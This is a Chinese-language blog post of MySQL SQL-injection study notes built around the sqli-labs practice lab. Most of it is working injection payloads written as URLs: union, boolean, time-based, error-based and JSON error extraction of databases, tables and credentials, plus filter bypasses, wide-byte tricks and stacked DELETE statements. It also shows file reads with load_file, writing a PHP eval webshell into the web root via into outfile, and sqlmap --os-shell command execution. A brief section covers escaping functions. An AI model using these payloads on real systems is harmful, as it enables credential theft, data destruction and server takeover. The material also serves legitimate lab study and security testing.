MYSQL SQL注入

Mysql SQL注入

Mysql注入学习,配合sqllab学习。除了sqllab的内容外增加了 JSON报错注入报错注入读写文件数据库拿Shell

常用函数

#系统函数
1. version()  MySQL 版本 
2. user()  数据库用户名 
3. database()  数据库名 
4. @@datadir  数据库路径 
5. @@version_compile_os  操作系统版本
6. @@basedir 数据库安装路径
7. @@version_compile_os 操作系统

#字符串连接函数
1. concat(str1,str2,...)  没有分隔符地连接字符串 
2. concat_ws(separator,str1,str2,...)  含有分隔符地连接字符串 
3. group_concat(str1,str2,...)  连接一个组的所有字符串,并以逗号分隔每一条数据

#一般用于尝试的是否存在注入的语句
or 1=1--+ 
'or 1=1--+ 
"or 1=1--+ 
)or 1=1--+ 
')or 1=1--+ 
") or 1=1--+ 
"))or 1=1--+
% or 1=1--+ 
以此类推。。。
PS:--+可以用#替换,url 提交过程中 Url 编码后的#为%23

注入流程

​ 一个数据库当中有很多的数据表,数据表当中有很多的列,每一列当中存储着数据。我们注入的过程就是先拿到数据库名,在获取到当前数据库名下的数据表,再获取当前数据表下的列,最后获取数据。

#查询数据库
show databases;

#选择数据库
use security;

#查询表
show tables;

#查看表结构
desc emails;

使用系统数据库进行注入

#系统数据库information_schema
use information_schema

#查询数据库
select schema_name from information_schema.schemata

#查询表
select table_name from information_schema.tables where table_schema=’xxxxx’

#查询表的所有列
Select column_name from information_schema.columns where table_name=’xxxxx’

#获取某列的内容
Select *** from ****

注入点探测

寻找参数进行注入尝试

or 1=1--+ 
'or 1=1--+ 
"or 1=1--+ 
)or 1=1--+ 
')or 1=1--+ 
") or 1=1--+ 
"))or 1=1--+
% or 1=1--+ 
以此类推。。。

注入尝试

union注入

  • order by 测试 select * 的个数

    http://127.0.0.1/sqllib/Less-1/?id=1' order by 3--+
    

  • 判断显示位

    http://127.0.0.1/sqllib/Less-1/?id=-1' union select 1,2,3--+
    

  • 爆数据库名

    http://127.0.0.1/sqllib/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+
    

  • 爆security中的表名

    http://127.0.0.1/sqllib/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
    

  • 爆users表的列

    http://127.0.0.1/sqllib/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
    

  • 爆数据

    http://127.0.0.1/sqllib/Less-1/?id=-1' union select 1,username,password from users where id=2--+
    

技巧总结

  • id=1'--+ 、 id=1--+ 是否报错可以判断出接收的参数是整数型还是字符型。id=1'--+不报错证明为字符型, id=1--+不报错证明为整数型,反之亦然。

  • Less-1—Less-4 注入方式基本一样,都是用上面的union注入,主要是参数的闭合方式不同。分别是 ' 、空 、 ') 、 ")。

盲注

盲注就是在 sql 注入过程中,sql 语句执行后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。

盲注分为3类:

  • 基于布尔 SQL 盲注
  • 基于时间的 SQL 盲注
  • 基于报错的 SQL 盲注

基于布尔 SQL 盲注

通过构造逻辑判断进行注入。

布尔 SQL 盲注,需要利用截取字符串函数,常用的函数有:mid(),substr(),left()

Ascii()将某个字符转换为 ascii 值 ascii(substr((select database()),1,1))=98

Ord()函数同 ascii(),将字符转为 ascii 值

regexp 正则注入 select user() regexp '[1]'; 判断user() 第一位

select user() regexp '^r[a-z]';判断user() 第二位

like 匹配注入 select user() like ‘ro%’

mid()函数

MID(column_name,start[,length])

参数 描述
column_name 必需。要提取字符的字段。
start 必需。规定开始位置(起始值是 1)。
length 可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。

Sql用例:

(1)MID(database(),1,1)>’a’,查看数据库名第一位,MID(DATABASE(),2,1)查看数据库名第二位,依次查看各位字符。

(2)MID((select table_name from information_schema.tables where table_schema=0xxxxxxx LIMIT 0,1),1,1)>’a’ 此处column_name参数可以为sql语句,可自行构造sql语句进行注入。

substr()函数

substr()和substring()函数实现的功能是一样的,均为截取字符串。

substring(string, start, length)、substr(string, start, length)

参数描述同mid()函数,第一个参数为要处理的字符串,start为开始位置,length为截取的长度。

Sql用例:

(1) substr(database(),1,1)>’a‘,查看数据库名第一位,substr(database(),2,1)查看数据库名第二位,依次查看各位字符。

(2) substr((select table_name from information_schema.tables where table_schema=0xxxxxxx LIMIT 0,1),1,1)>’a’ 此处string参数可以为sql语句,可自行构造sql语句进行注入。

Left()函数

Left()得到字符串左部指定个数的字符

Left ( string, n) string为要截取的字符串,n为长度。

参数 描述
string 必需。要提取字符的字段。
n 必需。提取字符长度。

Sql用例:

(1) left(database(),1)>’a’,查看数据库名第一位,left(database(),2)>’ab’,查看数据库名前二位。

(2) 同样的string可以为自行构造的sql语句。

基于正确和不正确的返回显示不同
#版本号判断
http://127.0.0.1/Less-5/?id=1 ' and left(version(),1)=5 --+
#判断数据库名位数
http://127.0.0.1/Less-5/?id=1 ' and length(database())=8 --+
#判断数据库名第一个字母
http://127.0.0.1/Less-5/?id=1 ' and left(database(),1)='a'--+
#这里可以利用burp进行爆破,使用ascii()进行编码爆破65-122(A-Z,a-z)
http://127.0.0.1/Less-5/?id=1 ' and ascii(left(database(),1))=101--+

#substr()可以替换上面的left使用,效果一样。
#爆数据库名
http://127.0.0.1/Less-5/?id=1 ' and ascii(substr(database(),1))=101--+
==http://127.0.0.1/Less-5/?id=1 ' and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=101--+

#爆表名 得知数据库名后可以替换database(),获取表名的第二个只需要substr(**,2,1)即可。
http://127.0.0.1/Less-5/?id=1 ' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101--+

#获取第二个表
上述的语句中使用的 limit 0,1. 意思就是从第 0 个开始,获取第一个,那要获取第二个就是 limit 1,1
#regexp 正则匹配
http://127.0.0.1/Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)--+

基于报错的 SQL 盲注

构造 payload 让信息通过错误提示回显出来

十种报错函数:

  • floor()
  • extractvalue()
  • updatexml()
  • geometrycollection()
  • multipoint()
  • polygon()
  • multipolygon()
  • linestring()
  • multilinestring()
  • exp()

常用的报错函数

floor():floor函数的作用是返回小于等于该值的最大整数,也可以理解为向下取整,只保留整数部分。

extractvalue():对XML文档进行查询的函数。

updatexml():更新xml文档的函数。

#floor报错返回用户名
http://127.0.0.1/Less-5/?id=1' union select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

# 利用xpath函数报错注入
http://127.0.0.1/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e))--+

# 利用updatexml函数报错注入
http://127.0.0.1/Less-5/?id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)--+

#利用数据的重复性
http://127.0.0.1/Less-5/?id=1' union select 1,2,3 from (select name_const(version(),1),name_const(version(),1))x --+

#版本问题没有成功输出想要的数据
#利用 double 数值类型超出范围进行报错注入
http://127.0.0.1/Less-5/?id=1' union select (exp(~(select * FROM(SELECT USER())a))),2,3--+
#利用bigint溢出进行报错注入
http://127.0.0.1/Less-5/?id=1' union select (!(select * from (select user())x) - ~0),2,3--+

JSON报错注入

从 MySQL 5.7.8 开始支持由RFC 7159 JSON 定义的本机数据类型 ,可以有效地访问 JSON(JavaScript Object Notation)文档中的数据

  • JSON_TYPE()

    JSON_TYPE(version())

​ 此函数获取JSON值的类型,当我们传入的值不属于json格式则报错。

http://127.0.0.1/Less-1/?id=1'and JSON_TYPE(version())%23
  • JSON_EXTRACT()

    JSON_EXTRACT(json_doc, path[, path] ...)

​ 此函数从 JSON 文档中返回数据,从与path参数匹配的文档部分中选择.

#当第一个参数不是json类型的值则报错
http://127.0.0.1/Less-1/?id=1'and JSON_EXTRACT(version(), '$[1]')%23
http://127.0.0.1/Less-1/?id=1'and JSON_EXTRACT((select user()),'$.a')%23
#当第二个参数不是指定格式的字符时也报错
http://127.0.0.1/Less-1/?id=1'and json_extract('[1]',version())%23
http://127.0.0.1/Less-1/?id=1'and json_extract('{"a":1,"a":2}',version())%23
  • JSON_ARRAY_APPEND()

    JSON_ARRAY_APPEND(json_doc, path, val[, path, val] ...)

​ 将值附加到 JSON 文档中指定数组的末尾并返回结果,报错输出原理和json_extract函数相同。

http://127.0.0.1/Less-1/?id=1' select JSON_ARRAY_APPEND(version(),1,1)%23
http://127.0.0.1/Less-1/?id=1' select JSON_ARRAY_APPEND('[1,2]',version(),1)%23

报错注入读写文件

#读文件
http://127.0.0.1/Less-1/?id=1' and (exp(~(select*from(select load_file('C:\\CodeAudit\\Phpstudy2018\\PHPTutorial\\WWW\\phpinfo.php'))a)));

http://127.0.0.1/Less-1/?id=-1 and (extractvalue(1,concat(0x7e,(select load_file('C:\\CodeAudit\\Phpstudy2018\\PHPTutorial\\WWW\\phpinfo.php')),0x7e)))

#写文件 写文件默认就是只能创建文件,无法写入内容。
http://127.0.0.1/Less-1/?id=-1 and  exp(~(select*from(select 'hello')a)) into outfile 'C:\\inetpub\\wwwroot\\target_sys.com\\data\\config.inc.txt';

基于时间的 SQL 盲注

如果条件成立,延迟返回数据。

如:If(ascii(substr(database(),1,1))=115,sleep(5),0)%23 //if 判断语句,条件为真,执行 sleep,返回延迟5秒。

数据库 函数
Mysql BENCHMARK(100000,MD5(1)) or sleep(5)
Postgresql PG_SLEEP(5) or GENERATE_SERIES(1,10000)
Ms sql WAITFOR DELAY ‘0:0:5’
#利用 sleep()函数进行注入 if(条件语句,ture输出,错误输出)
http://127.0.0.1/Less-5/?id=1'and if(ascii(substr(database(),1,1))=115,1,sleep(5))--+

#利用benchmark()函数延时注入
#当结果正确的时候,运行 ENCODE('MSG','by 5 seconds')操作 50000000 次,会占用一段时间
http://127.0.0.1/Less-5/?id=1'UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as current) as tb1--+

导入导出相关操作

load_file()读文件

Load_file(file_name):读取一个文件并将其内容作为字符串返回。

使用条件:

  • 必须有权限读取并且文件必须完全可读

    and (select count(*) from mysql.user)>0 --+/* 如果结果返回正常,说明具有读写权限。

    and (select count(*) from mysql.user)>0 --+/* 返回错误,应该是管理员给数据库帐户降权

  • 欲读取文件必须在服务器上

  • 必须指定文件完整的路径

  • 欲读取文件必须小于 max_allowed_packet

在实际的注入中,我们有两个难点需要解决:

  • 绝对物理路径

  • 构造有效的畸形语句 (报错爆出绝对路径)

在很多 PHP 程序中,当提交一个错误的 Query,如果 display_errors = on,程序就会暴露 WEB 目录的绝对路径。

#利用 hex()将文件内容导出来
Select 1,2,3,4,5,6,7,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92, 114,101,112,97,105,114,92,115,97,109)))

#ASCII 代码 "c:/boot.ini"
-1 union select 1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))

#“c:/boot.ini”的 16 进制是“0x633a2f626f6f742e696e69”
-1 union select 1,1,load_file(0x633a2f626f6f742e696e69)

#路径里的/用 \\代替
http://127.0.0.1/sqllab/Less-2/?id=-1 union select 1,1,load_file("C:\\CodeAudit\\Phpstudy2018\\PHPTutorial\\WWW\\phpinfo.php")--+

load data infile 读文件装入数据表

load data infile 语句用于高速地从一个文本文件中读取行,并装入一个表中。文件名称必须为一个文字字符串。

例子:

load data infile '/tmp/test.txt' ignore into table t0 character set gbk fields terminated by '\t' lines terminated by '\n'

character set gbk 是字符集设置为 gbk,fields terminated by 是每一项数据之间的分隔符,lines terminated by 是行的结尾符。

select ... int outfile写文件

利用条件

  1. 此方法利用的先决条件
  • web目录具有写权限,能够使用单引号
  • 知道网站绝对路径(根目录,或则是根目录往下的目录都行)
  • secure_file_priv没有具体值(在mysql/my.ini中查看)
  1. secure_file_priv

secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限。如下关于secure_file_priv的配置介绍

当secure_file_priv的值为null ,表示限制mysqld 不允许导入/导出
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入/导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时,表示不对mysqld 的导入/导出做限制

#查看secure-file-priv参数的值
show global variables like '%secure%';

#修改secure_file_priv 的值
在mysql/my.ini中查看是否有secure_file_priv的参数,如果没有的话我们就添加 secure_file_priv = ' ' 即可

**select.....into outfile 'file_name' **

可以把被选择的行写入一个文件中。该文件被创建到服务器主机上,因此您必须拥有 FILE权限,才能使用此语法。file_name 不能是一个已经存在的文件。

例子:

#第一种直接将 select 内容写到文件中 使用斜杠转义
select version() into outfile “c:\\phpnow\\htdocs\\test.php”
#此处将 version()替换成一句话<?php @eval($_post[“mima”])?>
select <?php @eval($_post[“mima”])?> into outfile “c:\\phpnow\\htdocs\\test.php”

#第二种修改文件结尾
select version() into outfile “c:\\phpnow\\htdocs\\test.php” LINES TERMINATED BY 0x16 进制文件
http://127.0.0.1/sqllab/Less-2/?id=-1 union select 1,2,'<?php @eval($_post["mima"])?>'  into outfile"C:\\CodeAudit\\Phpstudy2018\\PHPTutorial\\WWW\\1.php"--+

os-shell

--os-shell就是使用udf提权获取WebShell。也是通过into oufile向服务器写入两个文件,一个可以直接执行系统命令,一个进行上传文件,此为sqlmap的一个命令,利用这条命令的先决条件:

  • 要求为DBA,--is-dba(phpstudy搭建的一般为DBA)
  • 知道网站的绝对路径
  • secure_file_priv = ' '
  • get_magic_quotes_gpc()为off,php主动转义的功能关闭
sqlmap -u http://xxxx --os-shell

sqlmap在指定的目录生成了两个文件(文件名是随机的,并不是固定的):

  • tmpbjvuo.php 用来执行系统命令
  • tmpuyett.php 用来上传文件

#命令执行
http://192.168.1.100/tmpbjvuo.php?cmd=whoami

#上传文件
http://192.168.1.100/tmpuyett.php

增删函数

Insert

增加一行数据

insert into users values('16','lcamry','lcamry');

delete

#删数据
delete from 表名; 
delete from 表名 where id=1; 

删数据库:drop database 数据库名; 
删除表:drop table 表名; 
删除表中的列:alter table 表名 drop column 列名; 

updata

updata 表名 set 列名='新的值';  新的值,非数字加单引号
updata 表名 set 列名='新的值,非数字加单引号' where id=6;

addslashes()

addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

预定义字符是:

  • 单引号(')

  • 双引号(")

  • 反斜杠(\)

  • NULL

    addslashes(string)

  • Notice:使用 addslashes(),我们需要将 mysql_query 设置为 binary 的方式,才能防御宽字节的注入。

    Mysql_query(“SET character_set_connection=gbk,character_set_result=gbk,character_set_client=binary”,$conn);

stripslashes()

函数删除由 addslashes() 函数添加的反斜杠。

mysql_real_escape_string()

函数转义 SQL 语句中使用的字符串中的特殊字符。

下列字符受影响:

  • \x00

  • \n

  • \r

  • \

  • '

  • "

  • \x1a

如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。

语法:mysql_real_escape_string(string,connection)

string 必需。规定要转义的字符串。

connection 可选。规定 MySQL 连接。如果未规定,则使用上一个连接。

HTTP头注入

  • User-Agent
  • Referer
  • Cookie
  • X-Forwarded-for
  • Host

二次排序注入

二次排序注入也成为存储型的注入,就是将可能导致 sql 注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以出发 sql 注入。

绕过

1、#,--注释符号的过滤,使用‘进行闭合
-1' union select 1,@@datadir,'3

(1)id=-1,为什么要用-1,因为 sql 语句执行了两个 select 语句,第一个 select 为 id 的选择语句,第二个为我们构造的 select 语句。只有一个数据可以输出,为了让我们自己构造的数据可以正常输出,第一个select要没有结果,所以-1或者超过数据库所有数据都可以。 
(2)-1' union select 1,@@datadir,’3,第一个’(单引号)闭合-1,第二个’(单引号)闭合后面的。这样将查询内容显示在username处。 
(3)此处可以报错注入,延时注入, 可以利用or ‘1’=’1进行闭合。

2、or and 过滤
(1)大小写变形 Or,OR,oR 
(2)编码,hex,urlencode 
(3)添加注释/*or*/ 
(4)利用符号 and=&& or=||

3、过滤空格
(1)%09 TAB 键(水平) 
(2)%0a 新建一行 
(3)%0c 新的一页 
(4)%0d return 功能 
(5)%0b TAB 键(垂直) 
(6)%a0 空格

4、过滤union,select
(1)大小写混合

数据库与web站点可能是分离的

宽字节注入

过滤 ‘ \的情况下,宽字节注入好使。mysql 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如%aa%5c 就是一个汉字(前一个 ascii 码大于 128 才能到汉字的范围)我们在过滤 ’ 的时候,往往利用的思路是将 ‘ 转换为 \’

因此我们在此想办法将 ‘ 前面添加的 \ 除掉,一般有两种思路:

1、%df 吃掉 \ 具体的原因是 urlencode(‘\) = %5c%27,我们在%5c%27 前面添加%df,形成 %df%5c %27,而上面提到的 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,此时 %df%5c 就是一个汉字,%27 则作为一个单独的符号在外面,同时也就达到了我们的目的。

2、将 \’ 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 的情况,后面的%5c 会被前面的%5c 给注释掉。

get 型的方式我们是以 url 形式提交的,因此数据会通过 URLencode,在 post 型的注入当中,将 utf-8 转换为 utf-16 或 utf-32

%df
' utf-8 转换为 utf-16
' utf-8 转换为 utf-32

堆叠注入

命令行中,每一条语句结尾加 ; 表示语句结束。堆叠注入是指可以多句一起使用。

用户输入: 
	1; DELETE FROM products 
服务器端生成的 sql 语句为:(因未对输入的参数进行过滤) 
	Select * from products where productid=1;DELETE FROM products

堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到 API 或者数据库引擎不支持的限制.

order by / limit 后的注入

sql 语句为$sql = "SELECT * FROM users ORDER BY $id";

注入尝试: sort=1 desc 或者 sort=1 asc,显示结果不同。则表明可以注入。 order by 不同于的我们在 where 后的注入点,不能使用 union 等进行注入。

1、order by 后的数字可以作为一个注入点。也就是构造 order by 后的一个语句,让该语句执行结果为一个数
http://127.0.0.1/Less-46/?sort=right(version(),1)  没有报错,但是 right 换成 left 都一样,说明数字没有起作用,我们考虑布尔类型、报错注入和延时注入
?sort= 后面的一个参数。此时,我们可以有三种形式:
①直接添加注入语句,?sort=(select ******) 
	报错注入
	http://127.0.0.1/Less-46/?sort=(select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))
	延时注入
	http://127.0.0.1/Less-46/?sort=(select if(substr(current,1,1)=char(115), BENCHMARK(50000000,md5('1')),null) from (select database() as current) as tb1)
	
	
②利用一些函数。例如 rand()函数等。?sort=rand(sql 语句) 
	rand(ture)和 rand(false)的结果是不一样
	http://127.0.0.1/Less-46/?sort=rand(ascii(left(database(),1))=115)
	http://127.0.0.1/Less-46/?sort=rand(ascii(left(database(),1))=116
	对比 rand(ture)和 rand(false)的结果,可以看出报错注入是成功的
	
③利用 and,例如?sort=1 and (加 sql 语句)
	延时注入
	http://127.0.0.1/Less-46/?sort=1 and if(ascii(substr(database(),1,1))=115,sleep(5),1)
	
2、procedure analyse
利用 procedure analyse 参数,我们可以执行报错注入。同时,在procedure analyse和 order by 之间可以存在 limit 参数,我们在实际应用中,往往也可能会存在 limit 后的注入,可以利用 procedure analyse 进行注入。
	http://127.0.0.1/Less-46/?sort=1 procedure analyse(extractvalue(rand()*2,concat(0x3a,version())),1) 不成功
	将查询结果导入到文件当中into outfile
	http://127.0.0.1/Less-46/?sort=1 into outfile "D:\\software\\wamp\\www\\sql\\test1.txt"
	写入马phpinfo.php lines terminated by 0x(网马进行 16 进制转换)
	http://127.0.0.1/Less-46/?sort=1 into outtfile c:\\wamp\\www\\sqllib\\test1.txt lines terminated by 0x

  1. a-z ↩︎

posted @ 2022-03-20 20:53  九天揽月丶  阅读(1151)  评论(0编辑  收藏  举报